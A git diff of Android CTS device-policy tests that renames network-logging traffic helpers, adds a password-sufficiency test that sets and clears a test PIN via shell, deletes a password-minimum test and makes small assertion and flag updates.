diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e8f35f2..1856d2c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -172,9 +172,9 @@
}
// generate enough traffic to fill the batches.
- int testReqNo = 0;
+ int fakeReqNo = 0;
for (int i = 0; i < mBatchesRequested; i++) {
- testReqNo += generateTestTraffic();
+ fakeReqNo += generateFakeTraffic();
}
// if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
@@ -190,11 +190,11 @@
// Verify network logs.
assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
- // For each of the real URLs we have two events: one DNS and one connect. Test requests
+ // For each of the real URLs we have two events: one DNS and one connect. Fake requests
// don't require DNS queries.
final int eventsExpected =
Math.min(FULL_LOG_BATCH_SIZE * mBatchesRequested,
- 2 * LOGGED_URLS_LIST.length + testReqNo);
+ 2 * LOGGED_URLS_LIST.length + fakeReqNo);
verifyNetworkLogs(mNetworkEvents, eventsExpected);
}
@@ -340,11 +340,11 @@
}
/** Quickly generate loads of events by repeatedly connecting to a local server. */
- private int generateTestTraffic() throws IOException, InterruptedException {
+ private int generateFakeTraffic() throws IOException, InterruptedException {
final ServerSocket serverSocket = new ServerSocket(0);
- final Thread serverThread = startTestServer(serverSocket);
+ final Thread serverThread = startFakeServer(serverSocket);
- final int reqNo = makeTestRequests(serverSocket.getLocalPort());
+ final int reqNo = makeFakeRequests(serverSocket.getLocalPort());
serverSocket.close();
serverThread.join();
@@ -352,11 +352,11 @@
return reqNo;
}
- private int makeTestRequests(int port) {
+ private int makeFakeRequests(int port) {
int reqNo;
- final String TEST_SERVER = "127.0.0.1:" + port;
+ final String FAKE_SERVER = "127.0.0.1:" + port;
for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
- connectToWebsite(TEST_SERVER);
+ connectToWebsite(FAKE_SERVER);
try {
// Just to prevent choking the server.
Thread.sleep(10);
@@ -367,7 +367,7 @@
return reqNo;
}
- private Thread startTestServer(ServerSocket serverSocket) throws InterruptedException {
+ private Thread startFakeServer(ServerSocket serverSocket) throws InterruptedException {
final Thread serverThread = new Thread(() -> {
while (!serverSocket.isClosed()) {
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
mContext,
REQUEST_CODE,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index 27f4d46..c0b0eab 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -28,7 +28,7 @@
import static org.testng.Assert.assertThrows;
public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
- private static final String TEST_PRIVATE_DNS_HOST = "resolver.example.com";
+ private static final String FAKE_PRIVATE_DNS_HOST = "resolver.example.com";
private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
private UserManager mUserManager;
@@ -130,7 +130,7 @@
// This host does not resolve, so would output an error.
callSetGlobalPrivateDnsHostModeExpectingResult(
- TEST_PRIVATE_DNS_HOST,
+ FAKE_PRIVATE_DNS_HOST,
DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
package com.android.cts.deviceowner;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
import android.util.Log;
import java.util.ArrayList;
-import java.util.Collections;
/**
* Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
ArrayList<String> protectedPackages= new ArrayList<>();
protectedPackages.add(SIMPLE_APP_PKG);
mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
- // Launch app so that the app exits stopped state.
+ // Launch an activity so that the app exits stopped state.
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ Log.d(TAG, "Starting " + intent + " on user " + mUserId);
mContext.startActivity(intent);
-
}
public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
// Check if package is part of UserControlDisabledPackages before checking if
// package is stopped since it is a necessary condition to prevent stopping of
// package
- assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
- assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+ .containsExactly(SIMPLE_APP_PKG);
+ assertPackageStopped(/* stopped= */ false);
}
public void testClearSetUserControlDisabledPackages() throws Exception {
final ArrayList<String> pkgs = new ArrayList<>();
mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
- assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
public void testForceStopWithUserControlEnabled() throws Exception {
- assertTrue(isPackageStopped(SIMPLE_APP_PKG));
- assertEquals(Collections.emptyList(),
- mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+ assertPackageStopped(/* stopped= */ true);
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
private boolean isPackageStopped(String packageName) throws Exception {
PackageInfo packageInfo = mContext.getPackageManager()
.getPackageInfo(packageName, PackageManager.GET_META_DATA);
- Log.d(TAG, "Application flags for " + packageName + " = "
- + Integer.toHexString(packageInfo.applicationInfo.flags));
- return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
- == ApplicationInfo.FLAG_STOPPED) ? true : false;
+ boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+ == ApplicationInfo.FLAG_STOPPED;
+ Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+ + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+ return stopped;
}
+ private void assertPackageStopped(boolean stopped) throws Exception {
+ assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+ .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index 1da1202..eef1577 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -93,6 +93,7 @@
private Intent getHttpIntent() {
Intent i = new Intent(Intent.ACTION_VIEW);
i.addCategory(Intent.CATEGORY_BROWSABLE);
+ i.addCategory(Intent.CATEGORY_DEFAULT);
i.setData(Uri.parse("http://com.android.cts.intent.receiver"));
return i;
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
new file mode 100644
index 0000000..eb3f9ee
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+import static android.os.UserHandle.USER_SYSTEM;
+
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Process;
+import android.os.UserHandle;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+public class ActivePasswordSufficientForDeviceTest extends BaseManagedProfileTest {
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_UNSPECIFIED);
+ mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ }
+
+ public void testActivePsswordSufficientForDevice_notCallableOnProfileInstance() {
+ assertThrows(SecurityException.class,
+ () -> mDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ }
+
+ public void testActivePsswordSufficientForDevice_NoPolicy() {
+ assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ }
+
+ public void testActivePsswordSufficientForDevice_UnmetParentPolicy() {
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+ assertFalse(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ }
+
+ public void testActivePsswordSufficientForDevice_IrrelevantProfilePolicy() {
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+ mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+ assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ }
+
+ public void testActivePsswordSufficientForDevice_UnifiedPassword_BothPolicies() {
+ changeUserCredential("1234", null, USER_SYSTEM);
+ try {
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_ALPHANUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+
+ assertFalse(mDevicePolicyManager.isActivePasswordSufficient());
+ assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ } finally {
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_UNSPECIFIED);
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ changeUserCredential(null, "1234", USER_SYSTEM);
+ }
+ }
+
+ //TODO: reinstate test once LockSettingsShellCommand allows setting password for profiles
+ // that have unified challenge b/176230819
+ private void toTestActivePsswordSufficientForDevice_SeparatePassword_BothPolicies() {
+ final int myUserId = UserHandle.getUserId(Process.myUid());
+ changeUserCredential("1234", null, USER_SYSTEM);
+ changeUserCredential("asdf12", "1234", myUserId); // This currently fails
+ try {
+ mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+
+ assertTrue(mDevicePolicyManager.isActivePasswordSufficient());
+ assertFalse(
+ mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+ } finally {
+ mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ changeUserCredential(null, "1234", USER_SYSTEM);
+ }
+ }
+
+ private void changeUserCredential(String newCredential, String oldCredential, int userId) {
+ final String oldCredentialArgument = (oldCredential == null || oldCredential.isEmpty()) ? ""
+ : ("--old " + oldCredential);
+ if (newCredential != null && !newCredential.isEmpty()) {
+ String commandOutput = SystemUtil.runShellCommand(String.format(
+ "cmd lock_settings set-password --user %d %s %s", userId, oldCredentialArgument,
+ newCredential));
+ if (!commandOutput.startsWith("Password set to")) {
+ fail("Failed to set user credential: " + commandOutput);
+ }
+ } else {
+ String commandOutput = SystemUtil.runShellCommand(String.format(
+ "cmd lock_settings clear --user %d %s", userId, oldCredentialArgument));
+ if (!commandOutput.startsWith("Lock credential cleared")) {
+ fail("Failed to clear user credential: " + commandOutput);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 4c5659b..3270ef2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -39,7 +39,7 @@
*/
public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
/** How long should we wait for the component state to change. */
- private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+ private static final int COMPONENT_STATE_TIMEOUT_MS = 5000;
/** How often to check component state. */
private static final int POLL_TIME_MS = 400;
/** Activity that handles Bluetooth sharing. */
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index 5ca2c67..7b7a818 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -26,7 +26,7 @@
FakeComponent.class.getPackage().getName(), FakeComponent.class.getName());
public void testSetAndGetRequiredPasswordComplexity_onParent() {
- if (!mHasSecureLockScreen) {
+ if (!mHasSecureLockScreen) {
return;
}
@@ -106,7 +106,7 @@
assertThat(actualMaximumPasswordLength).isGreaterThan(0);
}
- public void testIsActivePasswordSufficient_onParent_isSupported() {
+ public void testIsActivePasswordSufficient_onParent_setOnParent_isSupported() {
try {
mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -115,7 +115,7 @@
}
}
- public void testIsActivePasswordSufficient_onParent_appliesComplexity() {
+ public void testIsActivePasswordSufficient_onParent_setOnProfile_isSupported() {
try {
mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -125,7 +125,7 @@
}
public void testSetPasswordQuality_onParent_isNotSupported() {
- assertThrows(IllegalArgumentException.class,
+ assertThrows(SecurityException.class,
() -> setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX));
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index b74de80..3fd91ef 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -72,6 +72,7 @@
.add("setCameraDisabled")
.add("getCameraDisabled")
.add("isActivePasswordSufficient")
+ .add("isActivePasswordSufficientForDeviceRequirement")
.add("getCurrentFailedPasswordAttempts")
.add("getMaximumFailedPasswordsForWipe")
.add("setMaximumFailedPasswordsForWipe")
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
deleted file mode 100644
index 8b7d16b..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
+++ /dev/null
@@ -1,210 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-
-/** Tests minimum password restriction APIs, including on parent profile instances. */
-public class PasswordMinimumRestrictionsTest extends BaseManagedProfileTest {
-
- private static final int TEST_PASSWORD_LENGTH = 5;
- private static final int TEST_PASSWORD_LENGTH_LOW = 2;
- private static final String[] METHOD_LIST = {
- "PasswordMinimumLength",
- "PasswordMinimumUpperCase",
- "PasswordMinimumLowerCase",
- "PasswordMinimumLetters",
- "PasswordMinimumNumeric",
- "PasswordMinimumSymbols",
- "PasswordMinimumNonLetter",
- "PasswordHistoryLength"};
-
- private DevicePolicyManager mParentDpm;
- private int mCurrentAdminPreviousPasswordQuality;
- private int mParentPreviousPasswordQuality;
- private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
- private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
- mCurrentAdminPreviousPasswordQuality =
- mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
- mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
- mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
- mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
- for (String method : METHOD_LIST) {
- mCurrentAdminPreviousPasswordRestriction
- .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
- mParentPreviousPasswordRestriction
- .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
- }
- }
-
- @Override
- protected void tearDown() throws Exception {
- for (int i = 0; i < METHOD_LIST.length; i++) {
- invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
- mCurrentAdminPreviousPasswordRestriction.get(i));
- invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
- mCurrentAdminPreviousPasswordRestriction.get(i));
- }
- mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
- mCurrentAdminPreviousPasswordQuality);
- mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
- super.tearDown();
- }
-
- public void testPasswordMinimumRestriction() throws Exception {
- for (int i = 0; i < METHOD_LIST.length; i++) {
- invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH + i);
- invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH + 2 * i);
-
- // Passing the admin component returns the value set for that admin, rather than
- // aggregated values.
- assertEquals(
- getMethodName(METHOD_LIST[i])
- + " failed to get expected value on mDevicePolicyManager.",
- TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
- ADMIN_RECEIVER_COMPONENT));
-
- // Passing the admin component returns the value set for that admin, rather than
- // aggregated values.
- assertEquals(
- getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
- TEST_PASSWORD_LENGTH + 2 * i,
- invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
- }
- }
-
- public void testSetPasswordMinimumRestrictionWithNull() {
- // Test with mDevicePolicyManager.
- for (String method : METHOD_LIST) {
- try {
- invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
- fail("Exception should have been thrown for null admin ComponentName");
- } catch (Exception e) {
- if (!(e.getCause() instanceof NullPointerException)) {
- fail("Failed to execute set method: " + setMethodName(method));
- }
- // Expected to throw NullPointerException.
- }
- }
-
- // Test with mParentDpm.
- for (String method : METHOD_LIST) {
- try {
- invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
- fail("Exception should have been thrown for null admin ComponentName");
- } catch (Exception e) {
- if (!(e.getCause() instanceof NullPointerException)) {
- fail("Failed to execute set method: " + setMethodName(method));
- }
- // Expected to throw NullPointerException.
- }
- }
- }
-
- public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
- for (int i = 0; i < METHOD_LIST.length; i++) {
- // Check getMethod with null admin. It should return the aggregated value (which is the
- // only value set so far).
- invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH_LOW + i);
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
- invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-
- // Set strict password minimum restriction using parent instance.
- invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH + i);
- // With null admin, the restriction should be the aggregate of all admins.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
- // With null admin, the restriction should be the aggregate of all admins.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
- // Passing the admin component returns the value set for that admin, rather than
- // aggregated values.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
- invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
- ADMIN_RECEIVER_COMPONENT));
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-
- // Set strict password minimum restriction on current admin.
- invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH + i);
- // Set password minimum restriction using parent instance.
- invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
- TEST_PASSWORD_LENGTH_LOW + i);
- // With null admin, the restriction should be the aggregate of all admins.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
- // With null admin, the restriction should be the aggregate of all admins.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
- // Passing the admin component returns the value set for that admin, rather than
- // aggregated values.
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
- invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
- ADMIN_RECEIVER_COMPONENT));
- assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
- invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
- }
- }
-
- /**
- * Calls dpm.set{methodName} with given component name and length arguments using reflection.
- */
- private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
- ComponentName componentName, int length) throws Exception {
- final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
- ComponentName.class, int.class);
- setMethod.invoke(dpm, componentName, length);
- }
-
- /**
- * Calls dpm.get{methodName} with given component name using reflection.
- */
- private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
- ComponentName componentName) throws Exception {
- final Method getMethod =
- DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
- return (int) getMethod.invoke(dpm, componentName);
- }
-
- private String setMethodName(String methodName) {
- return "set" + methodName;
- }
-
- private String getMethodName(String methodName) {
- return "get" + methodName;
- }
-}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
mContext,
sessionId,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
index ff086d6..cbe6877 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
@@ -1,4 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
<uses-policies>
+ <force-lock />
</uses-policies>
</device-admin>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
